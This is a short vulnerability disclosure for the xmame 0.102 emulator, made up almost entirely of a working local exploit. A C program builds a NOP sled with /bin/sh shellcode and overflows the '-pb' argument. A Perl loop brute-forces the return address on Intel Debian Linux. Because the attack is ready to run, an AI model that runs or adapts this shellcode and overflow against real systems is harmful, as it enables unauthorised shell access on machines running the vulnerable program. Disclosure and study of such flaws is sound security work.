Xmame 0.102 local vulnerability proof-of-concept

The following proof-of-concept demonstrates the existence of the local 
vulnerability found in xmame 0.102.
It uses the brute-force technique. The RET address interval works on 
Intel Debian GNU/Linux.
To test for the vulnerability, run "gcc exploit-c -o exploit" and then 
"perl fb.pl".

exploit.c:

#define NOP 0x90
#define TAMBUF 1200
#define INIC_SH 400
#include <stdlib.h>

int main (int argc, char **argv) {

   static char shellcode[]=
   "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
   "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
   "\x2f\x73\x68\x58";

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 3];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont < TAMBUF / 4; cont++)
       *( (long *) buffer + cont) = ret;

   for (cont = 0; cont < strlen (shellcode); cont++)
       buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont < INIC_SH; cont++)
       buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf ("RET = 0x%x\n", ret);
   strcpy (cadena, "AA");
   strcat (cadena, buffer);
   execl ("./xmame.x11", "./xmame.x11", "-pb", cadena, (char *) 0);
}

fb.pl:

#!/usr/bin/perl

$cnt = 0xbfffe000;

while (1) {
   $hex = sprintf ("0x%x", $cnt);
   $res = system ("./exploit $hex");
   printf "$hex : $res\n";
   $cnt += 4;
}

Greetings,

Rafael San Miguel Carrasco
Security Consultant
www.rafaelsanmiguel.com